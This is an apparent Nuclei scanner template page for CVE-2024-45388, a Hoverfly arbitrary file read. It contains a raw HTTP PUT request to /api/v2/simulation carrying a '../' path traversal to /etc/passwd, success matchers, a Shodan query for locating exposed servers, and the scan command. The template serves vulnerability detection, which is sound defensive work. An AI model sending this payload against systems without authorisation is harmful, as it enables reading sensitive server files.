Hoverfly < 1.10.3 - Arbitrary File Read

ID: CVE-2024-45388

Severity: high

Author: iamnoooob,rootxharsh,pdresearch

Tags: cve,cve2024,hoverfly,lfi,intrusive

Description

Hoverfly is a lightweight service virtualization/ API simulation / API mocking tool for developers and testers. The /api/v2/simulation POST handler allows users to create new simulation views from the contents of a user-specified file. This feature can be abused by an attacker to read arbitrary files from the Hoverfly server.

YAML Source

id: CVE-2024-45388

info:
  name: Hoverfly < 1.10.3 - Arbitrary File Read
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    Hoverfly is a lightweight service virtualization/ API simulation / API mocking tool for developers and testers. The /api/v2/simulation POST handler allows users to create new simulation views from the contents of a user-specified file. This feature can be abused by an attacker to read arbitrary files from the Hoverfly server.
  reference:
    - https://github.com/advisories/GHSA-6xx4-x46f-f897
    - https://nvd.nist.gov/vuln/detail/CVE-2024-45388
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-45388
    cwe-id: CWE-20
  metadata:
    max-request: 1
    verified: true
    shodan-query: http.favicon.hash:1357234275
  tags: cve,cve2024,hoverfly,lfi,intrusive

http:
  - raw:
      - |
        PUT /api/v2/simulation HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        {"data":{"pairs":[{"request":{},"response":{"bodyFile": "../../../../../../../etc/passwd","x":"aaa"}} ]},"meta":{"schemaVersion":"v5.3"}}

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
          - 'hoverflyVersion'
        condition: and

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200
# digest: 490a004630440220148abae40b475f8412592cc34997df7ae0195379f89ecb377252e56cb6bbd117022018f7474bceeaf995210f93b5f3c23e9f0be3809f855899eabb03abdfef50c21a:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-45388.yaml"

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